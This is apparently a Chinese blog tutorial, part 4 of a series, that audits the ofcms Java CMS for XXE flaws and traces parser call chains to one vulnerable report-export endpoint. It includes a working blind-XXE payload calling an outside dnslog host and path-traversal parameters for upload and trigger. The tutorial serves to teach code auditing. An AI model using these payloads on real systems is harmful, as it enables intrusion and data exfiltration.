当前位置: 首页 > article >正文

Java代码审计篇 | ofcms系统审计思路讲解 - 篇4 | XXE漏洞审计

文章目录

  • Java代码审计篇 | ofcms系统审计思路讲解 - 篇4 | XXE漏洞审计
  • 0. 前言
  • 1. XXE代码审计【有1处】
    • 1.1. 搜索JRXmlLoader
      • 1.1.1. JRAntApiWriteTask
      • 1.1.2. JRAntUpdateTask
      • 1.1.3. TableReportContextXmlRule
      • 1.1.4. JasperCompileManager【存在漏洞】
    • 1.2. 搜索XMLReader
      • 1.2.1. DTMManagerDefault
      • 1.2.2. IncrementalSAXSource\_Xerces
      • 1.2.3. IncrementalSAXSource\_Filter
      • 1.2.4. XMLReaderManager
      • 1.2.5. CoroutineParser
    • 1.3. 搜索SAXBuilder
    • 1.4. 搜索SAXReader
    • 1.5. 搜索SAXParserFactory
      • 1.5.1. SynthParser
      • 1.5.2. ResolvingParser
      • 1.5.3. Process
      • 1.5.4. SAXCatalogReader
      • 1.5.5. AndroidFontFinder
      • 1.5.6. JRPrintXmlLoader
    • 1.6. 搜索Digester
      • 1.6.1. JRXmlLoader
      • 1.6.2. JRPrintXmlLoader
      • 1.6.3. JRXmlTemplateLoader
    • 1.7. 搜索DocumentBuilderFactory
      • 1.7.1. DTMManagerDefault
      • 1.7.2. DOMCatalogReader

Java代码审计篇 | ofcms系统审计思路讲解 - 篇4 | XXE漏洞审计

0. 前言

我发现很多文章包括教程,大概套路是:只说有漏洞的点,将有漏洞的点指出,然后分析代码;或者黑盒测试出漏洞之后,然后分析代码。

我认为这是在分析漏洞代码,而非代码审计。代码审计文章或教程应该是从0开始找到漏洞所在,包括思路!

所以这里不管有没有漏洞,我都会把审计过程写出来,因此篇幅会很长,但我认为这样对你会很有帮助。

知其然亦知所以然。

由于篇幅较长,因此我会分几篇进行,本篇是整个系列的第4篇,讲解1个内容:

  • XXE漏洞审计

本系列文章:

  • Java代码审计篇 | ofcms系统审计思路讲解 - 篇1 | 环境搭建、路由机制
  • Java代码审计篇 | ofcms系统审计思路讲解 - 篇2 | SQL注入漏洞审计
  • Java代码审计篇 | ofcms系统审计思路讲解 - 篇3 | 文件上传漏洞审计
  • Java代码审计篇 | ofcms系统审计思路讲解 - 篇4 | XXE漏洞审计

搭建好环境,确定好项目结构之后,按我思路是应该审计项目所使用框架漏洞的,这里关于框架漏洞就放最后篇章来说了,我们先了解下基础漏洞的审计~

文章中有错误点,或者思路上有什么问题的,欢迎师傅们留言指出~

1. XXE代码审计【有1处】

XXE代码审计常搜索的关键字如下:

XMLReader
SAXBuilder
SAXReader
SAXParserFactory
Digester
DocumentBuilderFactory
...

还有一个特殊的,用于加载.jrxml 文件,这是 JasperReports 特定的 XML 格式,用于定义报告模板。

JRXmlLoader

1.1. 搜索JRXmlLoader

当然这样搜比较慢,而且有很多重复的,这里有个小技巧,可以搜到JRXmlLoader之后,然后Find Usages(Alt+F7),然后找到Usage in import查看哪些类有导入JRXmlLoader。

概涉及的类有:

JRAntApiWriteTask
JRAntUpdateTask
TableReportContextXmlRule
JasperCompileManager
JasperDesignCache
JRDesignViewer
...

挨个查看一下,需要找解析jrxml文件的代码以及对应方法的调用情况:

这里有个小技巧:因为这些类都是导入的jar包内部的,这说明,不是每个类和方法都会被使用到;
与之不同的则是项目自己写的类和方法,一般都会被用到。
因此:我们可以先查找类中方法的调用,确定有没有使用到,没有使用到就不用管了,这样可以节省大量的时间。

1.1.1. JRAntApiWriteTask

进到JRAntApiWriteTask类中之后,在本类中同样搜索JRXmlLoader,查看哪些位置使用了JRXmlLoader:

可以看到,代码中使用了JRXmlLoader.load(srcFileName),这里调用了.load()方法,这是JRXmlLoader加载jrxml文件的方式。

其中这段代码是在writeApi()方法中被调用。

接下来的思路是:先查找writeApi()方法的调用情况(原因前面已经说了)

可以看到,同类下的execute()方法对其有调用,但是通过查找execute()的调用,发现并没有被使用。因此,此处就不需要再往下进行了。

1.1.2. JRAntUpdateTask

进到JRAntUpdateTask类中之后,在本类中同样搜索JRXmlLoader,查看哪些位置使用了JRXmlLoader,以及方法的调用情况:

和JRAntApiWriteTask类中的情况一样,execute()没有被调用,不用管了。

1.1.3. TableReportContextXmlRule

这个类虽然导入了JRXmlLoader,但是没有调用.load()方法,所以也不用管了

1.1.4. JasperCompileManager【存在漏洞】

这个类中的方法很多,很多方法都用到了JRXmlLoader:

我们应该怎么定位呢?

想一下我们在干嘛?是不是在寻找XXE漏洞,回想XXE原理,其中前提是:代码需要解析xml(jrxml)文件才可能有漏洞,如果是生成xml文件是不是就不用管了。

因此:我们需要定位到解析xml(jrxml)文件的地方。

在JRXmlLoader中解析使用的是load()方法,因此我们可以在当前类中搜索.load(,发现定位到了5个位置:

来详细看一下:

分析一下代码,方法之间进行了互相调用,当然也调用了除了上述方法之外的方法。

下面我用调用图展示一下:

这三个调用链都涉及到了load()方法,因此都有可能存在XXE漏洞。

接下来看每个调用链最上层的方法是怎么调用的(也就是找参数sourceFileName从哪来的),三个方法分别如下:(通过Find Usages/Alt+F7查询)

  • compileReportToFile()方法,没有被调用,即该方法没有触发,不用管了~

  • 第1个compile(String sourceFileName)方法,被当前类的compileReport(String sourceFileName)方法调用

  • 第2个compile(InputStream inputStream)方法,被当前类的compileReport(InputStream inputStream)方法调用

  • compileReportToStream()方法,没有被调用,即该方法没有触发,不用管了~

目前,只需要关注其中两个就好:

  • 1)ompileReport(String sourceFileName)
  • 2)compileReport(InputStream inputStream)

继续查看其调用关系:其中compileReport(InputStream inputStream)存在调用,ompileReport(String sourceFileName)没有被调用。

定位到compileReport(InputStream inputStream)的调用位置,查看源码:

ReprotAction类的expReport()方法将其调用。

并且ReprotAction类上存在一个@Action(path = "/reprot")注解,也就是说这里可以被前端请求触发执行。

触发该expReport()方法的接口为:/admin/reprot/expReport.json

那么接下来做两件事:

  • 1)确定传参,有无过滤
  • 2)触发接口,进行漏洞测试

从下面这段代码可以看出:compileReport(new FileInputStream(file))的file是从"/WEB-INF/jrxml/" + jrxmlFileName + ".jrxml"获取的.jrxml文件,而具体什么文件,由前端传递的“j”参数决定。

简单来说就是:在/WEB-INF/jrxml/目录下寻找“j”参数指定的.jrxml文件进行jrxml文件的解析。

并从调用链看出:整个过程没有对文件进行过滤,包括也没有禁止解析外部实体(默认可以解析外部实体)。

调用链如下:

expReport()->compileReport()->compile()->JRXmlLoader.load()

所以这里是存在XXE漏洞的。

那这样的话,我们只需要保证:前端触发/admin/reprot/expReport.json接口时,传递“j”参数指定的.jrxml文件中存在恶意外部实体,就可以实现漏洞利用。

这里还有一个问题:“j”参数指定的.jrxml文件是在/WEB-INF/jrxml/目录下,这里我们是不可控的,因此怎么让ta能够加载一个存在恶意外部实体的.jrxml文件呢?

这里只能结合前面的文件上传漏洞,写入恶意.jrxml,来实现XXE漏洞的利用(如果这里不存在文件上传漏洞,这里无法利用)。

接下来,尝试利用一下:(这里没有回显,使用盲XXE方式)

1)通过文件上传漏洞,上传一个带有恶意外部实体的.jrxml文件。

file_name=../../../static/exp.jrxml
file_content=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3C%21DOCTYPE+root+%5B%3C%21ENTITY+%25+exp+SYSTEM+%22http%3A%2F%2Fxzlxvdibrb.iyhc.eu.org%22%3E%25exp%3B%5D%3E

file_content解码如下:

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % exp SYSTEM "http://xzlxvdibrb.iyhc.eu.org">%exp;]>

2)触发/admin/reprot/expReport.json接口

根据功能和接口可以定位到功能为止:用户管理-导出全部

点击“导出全部”,抓包,修改参数:

j=../../static/exp

可以看到,请求dnslog成功

1.2. 搜索XMLReader

注释忽略不看,剩余的大概涉及的类有

DTMManagerDefault
IncrementalSAXSource_Xerces
IncrementalSAXSource_Filter
XMLReaderManager
下面是接口
CoroutineParser

每个都大概看一下:(找方法的调用情况,及解析xml文件的相关方法,比如parse()等)

XMLReader的使用链为:

XMLReader.parse()

1.2.1. DTMManagerDefault

这个调用链非常的长,一般超过3个我都不会去审计了,因为ta有可能是组件内部使用的,有兴趣的师傅可以自行追一下方法调用链,说不定有组件0day哦~

1.2.2. IncrementalSAXSource_Xerces

该类中不存在解析xml文件的代码,故忽略

1.2.3. IncrementalSAXSource_Filter

此类中存在解析xml文件的代码

接下来,追踪其方法调用及参数传递

run()方法的调用很多:

但是存在一个问题,parse()方法所需的参数,并不是run()方法传递进来的。

因此接下来从参数传递进行分析,看是否可控

可以看到,该参数是startParse(InputSource source)方法传入,接下来追踪下该方法

有两个类中调用了该方法,一个DTMManagerDefault,一个IncrementalSAXSource_Xerces

1.2.4. XMLReaderManager

疲倦了,师傅们自己追追吧~

1.2.5. CoroutineParser

疲倦了,师傅们自己追追吧~

1.3. 搜索SAXBuilder

不存在SAXBuilder。

1.4. 搜索SAXReader

搜索SAXReader之后,进入类之后,发现所搜到的都是变量名

并不是SAXReader对象,而是SAXCatalogReader类对象,没有解析xml文件的代码,所以不需要再看了。

📌SAXCatalogReader 是一个与 XML 解析相关的概念,主要用于处理 XML 文档中的外部实体引用。它通常与 XML 解析器一起使用,以解决 DTD(Document Type Definition)或 XML 实体的重定向问题。通过配置 SAXCatalogReader,可以在解析 XML 文档时指定特定的目录文件,从而控制对外部资源的访问。

1.5. 搜索SAXParserFactory

SAXParserFactory的使用链为:

SAXParserFactory.newInstance().newSAXParser().parse()

所以在搜索到的类中,搜索.parse(,如果有的话则存在解析xml,不存在则没有。

这里交给大家一个小技巧,使用正则表达式,搜索包含SAXParserFactory且包含.parse(的java类:

(SAXParserFactory(.|\n)*\.parse\()|(\.parse\((.|\n)*\.parse\(SAXParserFactory)

通过搜索,可以定位到比较精确的java类:

设计到的类有:

SynthParser
ResolvingParser
Process
SAXCatalogReader
AndroidFontFinder
JRPrintXmlLoader

1.5.1. SynthParser

追踪一下parse()的调用,发现存在

继续追踪load(),发现只在注释中出现,没有其他调用了,那就不用管了。

1.5.2. ResolvingParser

这个类搜索到的parse并不是用来解析xml文件的,所以忽略

1.5.3. Process

该类中存在解析xml文件的代码:

该段代码存在的方法为_main(),但并未有调用,因此忽略

1.5.4. SAXCatalogReader

该类中存在解析xml文件的代码:

追踪下readCatalog()方法的调用,这个时候,会发现,方法的调用链很长。此时也要结合参数的来源一同分析。

📌tips:方法的调用链很长,没完没了,其实这里差不多可以放弃了,如果是项目代码中真正用到了,代用链不会过长(当然也不一定,只是经验之谈)。
当然,你可以继续查看调用链,说不定会存在组件0day。
这里其实也可以结合参数来一起分析,参数可能在方法调用链的某个中间位置就确定了,那就不需要分析这么长的调用链了。

通过分析方法调用和参数传递,主要分为两种情况:

readCatalog()方法的调用一部分来自其他类中readCatalog()方法,而这些方法并没有再被调用,所以没有被使用,因此这部分忽略,见下图红框处:

剩下的就是parseCatalog()方法了:

其中parseCatalog(URL aUrl)无调用:

其中parseCatalogFile(String fileName)调用链比较长,但是参数在该方法中就确定了:

不是可控的,不用管了。

最后的parseCatalog(String mimeType, InputStream is)

还得继续追踪其调用:

追踪到queryResolver()方法,其参数也是不可控的,忽略。

SAXCatalogReader的分析到此为止。

1.5.5. AndroidFontFinder

该类中存在解析xml文件的代码:

其中参数来源为parseSystemDefaultFonts()方法,追踪该方法的调用:

存在两个,但是parseSystemDefaultFonts()方法所需参数并不是从这两个方法传入的,因此在这两个方法内部就确定了parseSystemDefaultFonts()方法所需参数,即最终parse()方法的参数。

那么分析一下:

这里可以看出,这个参数是固定不可控的,因此忽略,另一个方法内部也是如此,因此也忽略。

1.5.6. JRPrintXmlLoader

该类中存在解析xml文件的代码:

其方法为loadXML(InputStream is),追踪方法调用,

但是追踪其方法调用,发现最上层方法并没有被调用,截图略,其中调用链为:

load(String sourceFileName)
loadFromFile(String sourceFileName)
loadFromFile(JasperReportsContext jasperReportsContext, String sourceFileName)
  loadXML(InputStream is)
    digester.parse(is)

还有一个调用链为:

RViewer(String fileName, boolean isXML, Locale locale)
JRViewer(String fileName, boolean isXML, Locale locale, ResourceBundle resBundle)
JRViewer(
    JasperReportsContext jasperReportsContext,
    String fileName, 
    boolean isXML, 
    Locale locale, 
    ResourceBundle resBundle
    )
loadReport(String fileName, boolean isXmlReport)
  loadXML(InputStream is)
    digester.parse(is)

不管哪个调用链,其最上层方法都没有被调用,因此忽略。

1.6. 搜索Digester

Digester的使用链为:

Digester.parse()

所以在搜索到的类中,搜索.parse(,如果有的话则存在解析xml,不存在则没有。

使用正则表达式,搜索包含Digester且包含.parse(的java类:

(Digester(.|\n)*\.parse\()|(\.parse\((.|\n)*\.parse\(Digester)

通过搜索,可以定位到比较精确的java类:

涉及的类有:

JRXmlLoader
JRPrintXmlLoader
JRXmlTemplateLoader

1.6.1. JRXmlLoader

该类中的loadXML()方法没有被调用,忽略

1.6.2. JRPrintXmlLoader

该类中的loadXML()方法没有被调用,忽略

1.6.3. JRXmlTemplateLoader

该类中的loadTemplate()方法没有被调用,忽略

1.7. 搜索DocumentBuilderFactory

DocumentBuilderFactory的使用链为:

DocumentBuilderFactory.newInstance().parse(new InputSource(new StringReader(xxx)))

所以在搜索到的类中,搜索.parse(,如果有的话则存在解析xml,不存在则没有。

使用正则表达式,搜索包含DocumentBuilderFactory且包含.parse(的java类:

(DocumentBuilderFactory(.|\n)*\.parse\()|(\.parse\((.|\n)*\.parse\(DocumentBuilderFactory)

通过搜索,可以定位到比较精确的java类:

涉及到的类有:

DTMManagerDefault
DOMCatalogReader
XMLParserImpl
Process
TransformerImpl
XPathExpressionImpl
Metacity
JRXmlDocumentProducer
JRXmlUtils
JRStyledTextParser
SimpleFontExtensionHelper
MapFillComponent
FillPlaceItem
XmlSupport

接下来思路一下,查看每个类中相关代码

  • parse是不在解析xml文件
  • 其相关方法的调用关系
  • 解析的xml文件参数是否可控
  • 有无过滤、禁止解析外部DTD

1.7.1. DTMManagerDefault

之前遇到过,忽略。

1.7.2. DOMCatalogReader

该类中存在解析xml文件的代码:

其方法为readCatalog(Catalog catalog, InputStream is),追踪方法调用。

📌剩下的不想追了,累了~ 有兴趣的师傅可以自己每个都追下,这样就不会漏了,祝各位师傅天天出0day。

有好的技巧、好的思路的师傅也可以共享下思路,互相学习~~么么哒


http://www.kler.cn/news/308841.html

相关文章:

  • Vue.nextTick 的工作机制
  • 【乐企-业务篇】开票前置校验服务-规则链服务接口实现(纳税人基本信息)
  • 基于SpringBoot+Vue+MySQL的网上甜品蛋糕售卖店管理系统
  • android 老项目中用到的jar包不存在,通过离线的方法加载
  • 项目实战应用Redis分布式锁
  • wordpress不同网站 调用同一数据表
  • Mac虚拟机Parallels Desktop 20 for Mac破解版发布 完整支持 Windows 11
  • leetcode-560. 和为 K 的子数组
  • Qt构建JSON及解析JSON
  • JMeter 中使用 Gson 操作请求中的Boby参数
  • SQL超时的常见原因和解决思路
  • MFC实现对话框与控件的自适应调节
  • 20个Python入门基础语法要点
  • NISP 一级 | 6.2 移动智能终端安全威胁
  • 使用Mockito进行单元测试
  • 春意教育:SpringBoot在线学习平台开发
  • 矢量化操作
  • JS日期转化指定格式,获取月/周日期区间
  • CentOS 中配置 OpenJDK以及多版本管理
  • Unix-like系统是什么
  • 408算法题leetcode--第五天
  • frp内网穿透功能使用教程
  • 玩机搞机-----如何简单的使用ADB指令来卸载和冻结系统应用 无需root权限 详细操作图示教程
  • Spring Boot-热部署问题
  • SpringBoot启动成功,但端口启动失败
  • 架构师备考的一些思考(四)
  • 集群聊天服务器项目【C++】(六)MySql数据库
  • 【观察】戴尔AI算力加速服务器“焕新上市”,打通AI落地行业“最后一公里”...
  • 2024年上半年软考【中级】网络工程师 综合知识真题回顾
  • Bio-Linux-shell详解-2-基本Shell命令快速掌握